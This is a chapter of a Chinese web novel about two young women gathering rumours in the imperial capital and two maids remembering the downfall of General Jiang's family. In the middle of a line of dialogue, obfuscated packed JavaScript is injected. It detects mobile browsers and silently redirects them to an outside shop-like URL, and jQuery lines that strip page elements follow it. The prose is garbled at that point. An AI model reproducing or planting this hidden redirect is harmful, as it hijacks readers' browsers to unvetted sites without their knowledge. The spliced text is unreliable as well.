日出东方。
劳累了一夜的打更人穿过一声声伴随着蒸腾热气与饭香的叫卖,强撑着沉重的眼皮快步向着家的方向走去。
不同于夜间来往皆锦衣的繁华。
皇城的清晨,只属于那些踏过了带着寒意的晨雾,挎着装满了自家新薅青菜与鸡蛋的竹篮的农户。
而人们口中攀谈的话题,自也由哪家大人府上新招了大厨、哪家没出息的小辈又闹了什么笑话,自然的转变成了些更加实际的东西。
譬如什么:
“城东新开的猪肉铺今日买一斤五花可多赠二两下水。”
“升平桥边吴家娘子今日的菜心要价比昨日要低上半文。”
“望柳湖边常卖新鲜渔获的甄老二昨日伤了腿,今日没来出摊。”
“寿昌街上新来了位卖胡饼的胡姬,手艺那叫一个新奇。”
等等等等。
对寻常百姓来说,能影响生计的,才是需要自己重点关注的事情。
什么大人不大人的。
反正也不会给她们白发钱。
平头老百姓的,还是管好自己的事为上。
就这样,刻意换了粗布衣衫的林蓁蓁二人成功的混迹其中,未引起任何人的警惕与猜疑。
直到早市结束。
午间二人又换上了布料较好些的丫鬟制式的服装,在各大钗环脂粉铺晃了一圈,待到晚间再故技重施,于酒肆之间流连。
而除了早晨,其余时间里,这只敬衣衫不敬人的富贵窝也确实未曾令林蓁蓁失望。
即便是姿容出色如她二人。
但归根结底,美人常有,显赫的家世却不常有。
凡所到处,人人都只当她们是更漂亮些的仆从。
再加上长成这样,多半也是给主家男主人备下的。
稍有些身份,有些上进心的人反倒都更谨慎。
见此,为防止无意之间给自己树敌,反倒并未有什么人轻易的上前去同二人搭话。
也就给了林蓁蓁足够的时间和空间来探听自己想要的消息。
直到月上柳梢头。
眼看着独自在外行走的女子已越来越少,咂摸着若再逗留,待醉鬼再多些,二人继续在外恐生事端。
于是当酒肆台中的说书先生正慷慨激昂的讲到“不想那厮却捏造了通敌罪证,预谋陷害于大将...”时,林蓁蓁轻轻拽了拽正听的如痴如醉的鬼灵枢:“走了”
随即起身,低着头向外走去。
惹得对方先是疑惑的“啊?”了一声,连手中吃了一半的糕点都还维持着正往口中送的动作,僵在了原地。
央求的话还未来得及开口。
又见她的身影竟都已快要消失在视线里。
即便不满。
但没办法,鬼灵枢只能撅了撅嘴,起身拍掉手上的残渣,随后一步三回头的跟随着林蓁蓁的脚步离去。
“等等我呀,干嘛走的那么快呀。”直到追上那道自进了皇城起就一直让她觉得哪里有些奇怪的身影。
鬼灵枢忍不住抱怨道:“没想到凡人界的话本子故事竟同我想的不一样,也不全是两相情好的,还有这般关于大将军的故事。”
“真是可惜了,我才刚听到那什么大官准备陷害大将军的事情呢你就要走。也不知那大将军最后成功脱险了没有,那一双儿女又过的怎样...”竟很是意犹未尽。
林蓁蓁对于她的啰嗦本不想理会,想着待她说够了,自会闭嘴。
却不想,她到底还是低估了一个故事正听到最精彩的部分却被人打断的人的怨念到底有多大。
鬼灵枢竟是直接念叨了整整一路。
直念叨的林蓁蓁想仔细思索一番手头目前收集到的信息都难以专注。
以前怎么没发现这鬼大小姐竟也这般话多呢?
感觉会很适合跟青韵做朋友的样子...
“哎呀,你干嘛!”
“走的好好的,突然停下做什么,我的头!”
冷不丁撞上对方后背的鬼大小姐毫无防备,竟也撞得有些眼冒金星。
就连原本正安静盘在她胸前衣襟里还在养伤的小白蛇都被惊动,探出自己小小的三角脑袋,吐着信子歪头看着自家主人哀怨的乱跳,
若仔细看,甚至还能从那双小小的黑豆眼里看到抹关切。
林蓁蓁无语。
她的背明明也被撞的很疼好吧。
于是累积了一路的怨念爆发,林蓁蓁冷不丁开口:“那位大将军最终被陷害成功,命丧边疆。儿子也因此被下了大狱,女儿则是靠一位王爷的提亲才避免了牢狱之灾,却受尽了丈夫的欺辱。”
“啊?”鬼灵枢闻言也顾不上疼了,显然那故事里鞠躬尽瘁的忠诚大将竟落得个这样的下场让她一时很难接受。
“不!不可能!我不接受!”
林蓁蓁则冷眼看着她,心底涌起一摸阴暗的快感。
旋即得意的一甩头,将鬼灵枢的哀嚎甩在身后,继续向前走去。
哼哼,你不仁,就别怪我不义。
剧透了结局给你,看你还能怎么唠叨。
切。
“这两日府中的丫头一个赛一个的卖力,竟是一个个都上赶着想要顶你的班呢。”不起眼的寻常院落之中,碧珠拉着红玉的手,语气哽咽的诉说着自她离府后的一切“红玉姐姐,你不在,我真的好想你。”
而面前依靠着软枕才能堪堪抬起些头的女子嘴唇泛白,面无血色,右半边脸上,还贴着一块大大的纱布。
显然是有伤在身。
可即便如此,见眼前人伤怀她却也依旧挣扎着直起了身,用自己冰凉的小手抚上她的,轻声宽慰道:“别哭,傻碧珠。”
不想这一句却起了反作用,竟叫面前人原本将掉不掉的泪珠一下便断了线。
“哎—”
但她能做的,也只有轻柔的为这一同长大,已如她亲妹妹般的傻丫头擦眼泪,同时无奈的叹气。
而碧珠,也像是终于被这一声唤回了神智。
见红玉似更白了几分的脸,慌忙的止了哭声,起身用宽大的袖袍在脸上囫囵一抹:“看我,受伤的明明是姐姐,姐姐都没哭,我哭什么。”
随即她努力的吸吸鼻子,硬挤出个笑:“倒害姐姐还要替我担心。叫小姐知道了,定又要罚我了。”
“啊对了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365613|199823||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
差点忘了正事。这瓶药是小姐叫我拿来的。能去你脸上的疤,姐姐可一定收好,要记得每天涂抹。”碧珠珍而重之的自怀中拿出一只白瓷瓶,语气认真的叮嘱。
又忆及此番前因后果,气愤的牙痒:“我的傻姐姐,你说你,小姐都已经在想办法了,你做什么还要自毁容貌,又故意犯错逼着小姐打了你板子呢?此番虽成功避过了祸事,可你自己却也是付出了这般大的代价,又何必...”
“可小姐这些年,过的又何尝容易?若还要再为我的事情委身周旋于萧擎那个禽兽,这叫我又如何能心安?”红玉忍不住打断了碧珠的话头。
即便距离事发已经过去了好些日,此时再一次提起自己的决定,她的语气中依旧满是决绝“只可惜了我本身只是想毁了容貌自降身份,好能继续留在那虎狼窝里替小姐办事,却不想,竟被直接送出了府...”
显然比起□□的疼痛,被送走这种让她内心忍不住生出股背弃感的结局才是令她最难接受的。
碧珠自也懂她话语背后未尽的自责,一时间也跟着感慨万千。
她们二人从幼时一同被大将军在边关救下起,就一直跟着小姐。
自此,便是形影不离。
那时候的将军,还是那个未生出半丝白发的英雄。
无论走到何处,都有敬仰与感激如影随形
而小姐,也还是那个被将军与大少爷捧在手心里的宝珠。
明艳,而又快活。
只叹一朝生变,帝国最坚硬的盾牌突然就被弃如敝履。
皇城最娇艳的那朵梅花也在一夕之间被踩烂在了污浊的雪泥里。
适逢先皇正病中,自己最信重的将军竟有通敌叛国之嫌的信息传回了宫墙,竟将他直接气晕了去。
接着便是大少爷下狱,而小姐也面临着入教坊司的判罚。
摄政王便是在那时上的门,说愿替自己的长子聘娶江家大小姐做正妻。
还说什么他信大将军无辜,定会全力帮江家昭雪。
小姐本还在犹豫。
直到几日之后,关于这一切都是那看不上武官的右相一手主宰的阴谋的说法突然甚嚣尘上。
仇恨侵袭之下。
江瑶不管不顾的带着江家在军队中多年累计下的声望一起,被抬进了摄政王府。
后来便是在摄政王的主导下,江大将军的冤屈很快被平反。
接着便是先皇临终托孤,嘱咐他辅佐自己与皇后年仅九岁的幼子登基。
一场暴风雨,就这样毫无征兆的来临,又褪去。成功的将所有该在其中之人,全部卷到了即定的位置,不管你愿不愿意。
于是幼帝登基,太后垂帘听政,摄政王从旁辅佐。
于是原本右相与摄政王分庭抗礼的局面变成了摄政王一家独大。
于是边关再不见那永远英武的大江将军,却迎来了一位沉默寡言的小江将军。
于是皇城再无将门虎女的江瑶。
于是皇城只剩了幸承摄政王大恩的萧江氏世子妃。
正如一场人力不可抗的洪流,裹挟着你向前。
丝毫不留任何喘息余地给你。
-